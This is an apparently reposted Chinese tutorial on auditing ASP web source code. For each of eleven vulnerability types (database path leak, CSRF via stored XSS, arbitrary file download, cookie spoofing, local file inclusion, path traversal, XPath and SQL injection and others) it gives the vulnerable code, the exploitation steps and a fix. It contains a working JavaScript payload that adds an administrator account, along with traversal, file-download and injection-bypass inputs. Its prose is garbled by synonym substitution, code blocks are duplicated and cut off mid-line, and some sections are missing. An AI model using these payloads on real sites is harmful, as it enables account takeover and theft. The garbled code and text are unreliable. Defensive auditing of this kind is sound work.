移动安全 安全管理 应用案例 网络威胁系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 系统安全 >

Web源码安然审计之 ASP 篇

时间:2014-01-13 11:42来源:TuZhiJiaMi企业信息安全专家 点击:
0×01 ASP简介: ASP是一种办事器端脚本编写环境,可以用来成立和运步履态网页或Web利用法度。ASP网页可以包含HTML标识表记标帜、通俗文本、脚本号令和COM组件等。操纵ASP可以向网页中添加交互
Tags系统安全(735)安全审计(18)Web源码(1)ASP(1)  

  0×01 ASP简介:

  ASP是一种办事器端脚本编写环境,可以用来成立和运步履态网页或Web利用法度。ASP网页可以包含HTML标识表记标帜、通俗文本、脚本号令和COM组件等。操纵ASP可以向网页中添加交互式内容(如在线表单),也能够成立利用HTML网页作为用户界面的web利用法度。

  0×02 ASP缝隙介绍:

  一.数据库路径泄漏 (DataBase Path Leak)

  概述:数据库路径泄漏首要表示在ASP+Access搭建的WEB中,当报复打击者提交%5c的时辰,IIS会解析弊端,导致输出了真实数据库路径, %5c是\的十六进制代码,也就是\的另外一种暗示编制。

  缝隙道理:我们在提交数据的时辰,IE会主动把%5c转换成/,从而获得统一地址。在asp类型网站中,城市用到一个数据库连接的文件,名字通常为conn.asp。

  缝隙代码:这里我用动力文章系统做案例,代码以下:

  <%

  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '数据库文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '数据库文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>  dim conn

  dim connstr

  dim db

  db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '数据库文件的位置

  Set conn = Server.CreateObject("ADODB.Connection")

  connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)

  conn.Open connstr

  %>

  缝隙操纵:当拜候http://www.aspmps.com/cn%5cconn.asp IIS就会报错将数据库尽对路径输出到客户端,以下图所示

  当数据库路径被泄漏,报复打击者便可以将数据库下载到本地,找到表中的后台治理员账户和暗码,如许便可以轻松进进网站的后台治理,此缝隙只针对ACCESS数据库,SQL server数据库不受影响。 动力系统的暴库标题问题已久,往年360公司为此发布一则通知布告,多家媒体都有转载 链接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。

  缝隙修复:修补此缝隙的编制有2种,第一种在conn.open connstr 代码之前加进 On Error Resume Next ,第二种编制在IIS办事器建设选项当选择“向客户端发送以下文本弊端动静”。以下图2

Web源码安然审计之ASP篇

  

  Web源码安然审计之ASP篇(2) - 51CTO.COM

  

  三.跨站要求捏造报复打击(Cross Site Request Forgery)

  概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站要求捏造的意思,凡是常利用来指 WEB 网站的这一类缝隙,即在某个歹意站点的页面上,促使拜候者要求你的网站的某个 URL ,从而达到改变办事器端数据的目标。

  缝隙道理:连络跨站缝隙,操纵JS脚本代码,做治理员身份才能做的事,但这类动作非治理员本身的要求。

  缝隙代码:此系统中有个安然过滤函数HTMLEncode,代码以下:

  Public Function HTMLEncode(str)

  If Not IsNull(str) Then

  str = Replace(str, Chr(38), "&")

  str = Replace(str, "<", "<")

  str = Replace(str, ">", ">")

  str = Replace(str, Chr(9), " ")

  str = Replace(str, Chr(32), " ")

  str = Replace(str, Chr(34), """)

  str = Replace(str, Chr(39), "'")

  str = Replace(str, Chr(13) & Chr(10), "

  ")

  str = Replace(str, Chr(10), "

  ")

  str = Replace(str, Chr(13), "

  ")

  HTMLEncode = str

  End If

  End Function

  //以下是缝隙关头点

  Content = ""

  For i = 1 To Request.Form("Content").Count

  Content = Content & Request.Form("Content")(i)

  Next

  ………… //省略部门代码

  rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)

  rs("Guest_TEL")=HTMLEncode(Guest_TEL)

  rs("Guest_FAX")=HTMLEncode(Guest_FAX)

  rs("Content")=Content

  rs.Update

  上述代码中Content变量颠末Request.Form获得后并没有像Guest_FAX变量如许颠末HTMLEncode过滤。

  缝隙操纵:操纵编制如图所示

Web源码安然审计之ASP篇

  Xss.js脚本感化是履行添加一个新的治理员topsec。代码以下:

  var request = false;

  if(window.XMLHttpRequest) {

  request = new XMLHttpRequest();

  if(request.overrideMimeType) {

  request.overrideMimeType('text/xml');

  }

  } else if(window.ActiveXObject) {

  var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

  for(var i=0; i

  try {

  request = new ActiveXObject(versions[i]);

  } catch(e) {}

  }

  }

  xmlhttp=request;

  add_admin();

  function add_admin(){

  var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";

  var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";

  xmlhttp.open("POST", url, true);

  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  xmlhttp.setRequestHeader("Content-length", params.length);

  xmlhttp.setRequestHeader("Connection", "close");

  xmlhttp.send(params);

  }

  植进如图所示的一段代码后,当治理员进进后台往查看此留言的时辰就会触发该缝隙,系统会主动给我们加上账户为topsec,暗码为123456的治理员。

  缝隙修复:加进token认证,修复前台跨站缝隙。

  四.肆意文件下载(Arbitrary File Download)

  概述:假定系统存在stream流模式下载模块,而对应下载文件的地址没有做过安然过滤措置,则会产生任何文件都可被下载的安然隐患,在windows平台下此标题问题加倍严重。

  缝隙道理:Windows系统撑持“.asp+空格”和“.asp+.”划一于“.asp”文件,假定存鄙人载模块未加验证,则可以下载肆意文件。

  缝隙代码:下面以沸腾展看系统经典下载缝隙源码做介绍。关头源码以下:

  <%

  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "无效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '对图象文件不呈现下载对话框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上传文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "无效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '对图象文件不呈现下载对话框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上传文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>  Dim Stream

  Dim Contents

  Dim FileName

  Dim TrueFileName

  Dim FileExt

  Dim SavePath

  Const adTypeBinary = 1

  FileName = Request.QueryString("FileName")

  If FileName = "" Then

  Response.Write "无效文件名!"

  Response.End

  End if

  FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)

  Select Case UCase(FileExt)

  Case "ASP", "ASA", "ASPX", "ASAX", "MDB"

  Response.Write "不法把持!"

  Response.End

  End Select

  Response.Clear

  if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then

  Response.ContentType = "image/*" '对图象文件不呈现下载对话框

  else

  Response.ContentType = "application/ms-download"

  end if

  Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))

  Set Stream = server.CreateObject("ADODB.Stream")

  Stream.Type = adTypeBinary

  Stream.Open

  SavePath = FileUploadPath '存放上传文件的目次

  TrueFileName = SavePath & FileName

  Stream.LoadFromFile Server.MapPath(TrueFileName)

  While Not Stream.EOS

  Response.BinaryWrite Stream.Read(1024 * 64)

  Wend

  Stream.Close

  Set Stream = Nothing

  Response.Flush

  Response.End

  %>

  上述代码粗体部门是缝隙构成的关头代码,起首法度经由过程 Request.QueryString(“FileName”) 编制指定肆意文件名,当然法度鄙人面鉴定了文件后缀名,可是并没有对后缀名进行安然措置,导致客户端可以在后缀名以后加上空格的URL编码从而绕过法度的验证,文件被下载。

  缝隙操纵:操纵编制以下图

Web源码安然审计之ASP篇

  如图上所示当报复打击者在浏览器的地址栏中输进“down.asp?filename=./cn/index.asp%20”, %20就是颠末URL编码后的空格,%2E就是颠末URL编码后的“.”,提交后迅雷就会提示下载。

  缝隙修复:修补的编制也很简单,下载文件前最好带进数据库查询,存在则下载。还有种编制,用正则表达式往限制。

  

  Web源码安然审计之ASP篇(5) - 51CTO.COM

  

  六.Cookies棍骗(Cookies Spoofing)

  概述:在只对用户做Cookies验证的系统中,经由过程点窜Cookies的内容来获得响应的用户权限登录。Cookies棍骗在进侵中经常常利用到,经由过程点窜Cookies的内容来获得响应的用户权限登录,从而达到报复打击的目标。

  缝隙道理:到底甚么是Cookies,它有甚么感化呢?Cookies是一种可以或许让网站办事器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种手艺。Cookies是当你浏览某网站时,由Web办事器置于你硬盘上的一个很是小的文本文件,它可以记实你的用户ID、暗码、浏览过的网页、逗留的时候等信息。

  缝隙代码:接下来仍是以自由动力文章系统做案例,拜候后台文件UploadSoft.asp必需经由过程授权验证,此法度经由过程Cookies验证造成了安然隐患。没设置Cookies之前如图所示

Web源码安然审计之ASP篇

  关头代码以下:

  <%

  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("请登录后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境无组件上传类

  case else

  response.write "本系统未开放插件功能"

  response.end

  end select

  end if

  %>  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("请登录后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境无组件上传类

  case else

  response.write "本系统未开放插件功能"

  response.end

  end select

  end if

  %>  if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then

  response.Write("请登录后再利用本功能!")

  else

  select case upload_type

  case 0

  call upload_0() '利用化境无组件上传类

  case else

  response.write "本系统未开放插件功能"

  response.end

  end select

  end if

  %>

  代码中IF语句鉴定有标题问题,假定Session和Cookies值都为空则不克不及继续履行,不然可以调用上传函数upload_0()。 那报复打击者只需要做到知足Cookies值不为空便可以调用上传函数了,这个上传函数在上一节已提到过存在变量继续上传缝隙,这两个缝隙连续络风险就很大年夜了。

  缝隙操纵:用火狐插件点窜成asp163=UserName=asp设置Cookies后以下图所示

Web源码安然审计之ASP篇

  如许就绕过了Cookies的验证,造成可以上传文件,为后来变量继续缝隙的成功实现创作发现了前提。

  缝隙修复:可以加密Cookies,后台关头文件最好用Session往验证。

  七.本地文件包含(Local File Inclusion)

  概述:ASP Execute编制的感化是履行一个来自于其他ASP文件内部的ASP法度。

  缝隙道理:当其他ASP文件内的法度被要求履行终了以后,节制器将返回最初发出要求的原始ASP文件。与PHP包含缝隙不合的是Execute编制只能包含本地文件。

  缝隙代码:

  <%Server.Execute(Request.QueryString("file"))%>

  equest编制获得的参数file没颠末安然措置,被Execute编制履行了。

  缝隙操纵:若某个利用法度不存在上传缝隙,那么报复打击者可以上传个正常图片格局的文件,文件中包换ASP脚本代码,这时候辰便可以用本地包含缝隙往履行图片中的ASP代码。以下图所示

  假定jpg里写进的ASP小马,那便可以轻松获得一个WebShell。

  缝隙修复:尽可能系统指定履行文件,不要让客户端提交参数,其实需要动态改变参数,可以辅助一个匹配文件,若客户端提交的参数在文件中呈现,则可以履行,不然不承诺继续履行。

  八.路径操控(Path Manipulation)

  概述:用户输进节制 file system 把持所用的路径,借此报复打击者可以拜候或点窜其他受呵护的系统资本。

  缝隙道理:当知足以下两个前提时,就会产生path manipulation 弊端:

  1. 报复打击者可以或许指定某一 file system把持中所利用的路径。

  2. 报复打击者可以经由过程指定特定资本来获得某种权限,而这类权限在一般环境下是不成能获得的。

  缝隙代码:下面以经典的Ewebeditor编纂器做阐发,在编纂器文件治理处存在一个路径操控缝隙,报复打击者可以指定路径的读取范围,造成安然隐患。

  <%

  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <  Function InitParam()

  sStyleID = Trim(Request("id"))

  sUploadDir = ""

  If IsNumeric(sStyleID) = True Then

  sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID

  oRs.Open sSql, oConn, 0, 1

  If Not oRs.Eof Then

  sUploadDir = oRs(0)

  End If

  oRs.Close

  End If

  If sUploadDir = "" Then

  sStyleID = ""

  Else

  sUploadDir = Replace(sUploadDir, "\", "/")

  If Right(sUploadDir, 1) <> "/" Then

  sUploadDir = sUploadDir & "/"

  End If

  End If

  sCurrDir = sUploadDir

  ' 样式下的目次

  sDir = Trim(Request("dir"))

  If sDir <> "" Then

  If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then

  sCurrDir = sUploadDir & sDir & "/"

  Else

  sDir = ""

  End If

  End If

  End Function

  %>

  若报复打击者想操纵此缝隙需要知足2个前提,第一sStyleID这个值不克不及为空,并且是数据库中存在的ID号。第二 sDir 这个变量没有颠末任何安然措置,带进到 sCurrDir 变量中,只是最后不需要输进“/”。

  缝隙操纵:admin_uploadfile.asp?id=22&dir=../.. 履行后将跳转到2个上级目次下,报复打击者可以删除肆意文件和文件夹。以下图所示

Web源码安然审计之ASP篇

  缝隙修复:针对此缝隙建议用Replace函数过滤掉落“..” 。

  九.表单提交棍骗(Spoofed Form Submit)

  概述:表单提交是当前Web利用中的首要内容,用户可以经由过程这类编制与办事器进行数据传递。在凡是环境下,会在提交表单之前在办事器长进行表单数据的验证,如许可以节流办事器资本,但同时也为办事器带来了安然缝隙。

  缝隙道理:顾名思义Web法度只是在客户端用JavaScript验证了合法性,并没有在办事端验证数据的合法性。

  缝隙代码:下面以上传页面做为案例阐发

  缝隙操纵:报复打击者只需要禁用浏览器中的勾当脚本和Javascript脚本便可以策动一次报复打击。禁用以下图所示:

Web源码安然审计之ASP篇

  第二种编制建造个HTML页面,只需将JS脚本删除,再将Action值改成需要报复打击的方针网址便可。

  缝隙修复:客户端和办事端都要做验证,客户端做验证能进步用户体验,办事端再验证能包管数据安然。

  十.Http要求捏造(Spoofed HTTP Request)

  概述:一个比棍骗表单更高级和复杂的报复打击编制是HTTP要求棍骗。这给了报复打击者完全的节制权与矫捷性,它进一步证实了不克不及盲目信赖用户提交的任何数据。看到大年夜大都浏览器会包含一个来历的URL值,你可能会试牟利用Request.ServerVariables(“HTTP_REFERER”)变量往避免棍骗。确切,这可以用于对操纵尺度浏览器倡议的报复打击,但报复打击者是不会被这个小麻烦给盖住的。经由过程编纂HTTP要求的原始信息,报复打击者可以完全节制HTTP头部的值,GET和POST的数据,和所有在HTTP要求的内容。

  缝隙道理:经由过程Request.ServerVariables 往验证数据来历的合法性,还是不成靠,事实一切从Request获得的值都可以被捏造出来的。

  缝隙代码:下面以ASP中经典验证来历的代码做阐发

  <%

  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <  Dim From_url , Serv_url

  From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))

  Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))

  If Mid(From_url,8,Len(Serv_url)) <> Serv_url then

  Response.Write "不法链接!"

  Response.End

  End if

  %>

  上述代码中2个鉴定的值均来自客户端环境变量,鉴定思路是方针地址和来历地址的域名是不是一致,不一致则觉得是不法拜候,这段代码常常利用于防盗链模块中。

  缝隙操纵:用法HTTP代办署理软件机关一个特定的数据包,在HTTP头加上Referer 。以下图所示

  缝隙修复:验证数据来历的真实性仍是应当放在办事端,Request变量获得的值都是不成靠的。

  十一.代码注进(Code Injection)

  概述:良多现代编程说话都承诺动态解析源代码指令。 假定法度员需要由用户供给的指令对数据把持,这类环境下可以利用这类功能。当然,我们更愿意操纵底层说话机关,而不是经由过程履行代码来解析用户输进。 由用户供给的指令预期履行一些无害的把持,例如,对当前的用户对象进行简单计较或点窜用户对象的状况,等等。但是,假定法度员不敷细心,用户指定的把持范围可能会超出法度员最初的假想。

  缝隙道理:ASP利用法度中若存在Eval ,Execute ,ExecuteGlobal 函数利用时,要非分出格寄望它们的利用环境,若从外部获得参数,没有颠末安然措置 就会造成安然隐患。Eval() 计较表达式的值,并且返回一个成果,Execute() 履行一个或多个指定的语句。多个语句间用冒号(:)隔开 ,ExecuteGlobal() 在全局名字空间中履行一个或多个指定的语句。

  缝隙代码:

  <%=Eval(Request("parma"))%>

  上述代码用户提交parma的编制有GET,POST,COOKIE三种,报复打击者可以精心计表情关出ASP的小马提交便可以履行,安然隐患相昔时夜,在源码审计的过程中要额外寄望它们的利用。

  缝隙操纵:

  若报复打击者给parma参数值便是VB里的Now()函数,就会把当前的时候输出出来,这里代码用Eval函数履行的,若是Execute 和 ExecuteGlobal函数则不会输出到网页中。

  缝隙修复:谨严利用此三个函数,若需要动态履行,则只让用户输进和本地文件中匹配的字符,若不匹配则不成以履行。

  十二.XML中的XPATH注进(Xpath Injection)

  概述:Xml文档存储数据时,若查询数据不颠末安然过滤也会和关系型数据库一样,产生注进缝隙,在这里我们总结成XPATH注进缝隙,在这里它更像是ACCESS数据库。

  缝隙道理: 犹如Access数据库一样,XML文档只是保留数据用的,若法度对用户提交的数据没有颠末安然措置,则会导致安然标题问题,在这里最多见的莫过于经典的全能暗码。

  缝隙代码:

  <%

  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <  function SelectXmlNodeText(elementname,elementpass)

  On Error Resume Next

  elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"

  temp = XMLMorntekDocument.selectSingleNode(elementname).text

  If temp <> "" Then

  Session("UserName") = "asp163"

  Response.Write("Welcome , Sysadmin")

  Else

  Response.Redirect("/admin/Login.asp")

  end if

  end function

  ConnectXml("../admin.xml")

  Call SelectXmlNodeText(Request("name"),Request("pass"))

  %>

  上述代码实现的是一个后台治理验证的功能,admin.xml文件位于站点根目次以外,没法用Http编制下载。法度对Request对象获得来的数据没有颠末安然过滤,导致了经典全能暗码绕过缝隙。

  缝隙操纵:

  报复打击者提交Name和Pass都是“’or ’1′=’1”时辰,XML查询节点就变成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR语句 阐扬了重大年夜感化,只要一个前提为真便可以知足绕过的前提。

  缝隙修复:和SQL打针一样,需要对客户端提交过来的数据进行过滤,在本案例中可以过滤掉落单引号便可。

  

  数据库路径泄漏首要表示在ASP+Access搭建的WEB中,当报复打击者提交%5c的时辰,IIS会解析弊端,导致输出了真实数据库路径, %5c是\的十六进制代码,也就是\的另外一种暗示编制。

  AD:

  十三.SQL打针(SQL Injection)

  概述:今朝没有对SQL注进手艺的尺度定义,微软中国手艺中间从2个方面进行了描述:

  (1) 脚本注进式的报复打击

  (2) 歹意用户输进用来影响被履行的SQL脚本

  SQL注进报复打击操纵的是SQL语法,这使得这类报复打击具有遍及性。理论上说,对所有基于SQL说话尺度的数据库软件包含SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等和与之连接的收集利用法度包含Active/Java Server Pages, PHP或Perl等都是有效的。当然各类软件有本身的特点,实际的报复打击代码可能不尽不异。

  缝隙道理: 经由过程客户端发送SQL语句,可以查询,更新,删除 数据库中的数据,此缝隙是ASP下最为风行的缝隙。报复打击者可以经由过程GET,POST,COOKIE,SERVER提交肆意数据,若数据库是SQL Server数据库,则缝隙风险性更大年夜。

  缝隙代码:

  <%

  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>  Set rs = Server.CreateObject("ADODB.RecordSet")

  sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  rs.Open sqlString, Conn, 1, 1

  %>

  缝隙操纵:

  缝隙修复:对获得的数字型变量用Clng函数转换,对字符型用Replace函数过滤单引号。

  0×03 总结:

  ASP颠末这么多年还能耸峙不倒,除本身易学易用性以外,还有搭配的ACCESS数据库便利移植的特点,让良多法度员在选择为中小网站做开辟的时辰首选ASP。掌控这些ASP缝隙对开辟者来讲是相当有需要的,只有如许才能写出更强大年夜安然的利用法度,才能促进全部互联网的安然与开放。

------分隔线----------------------------

推荐内容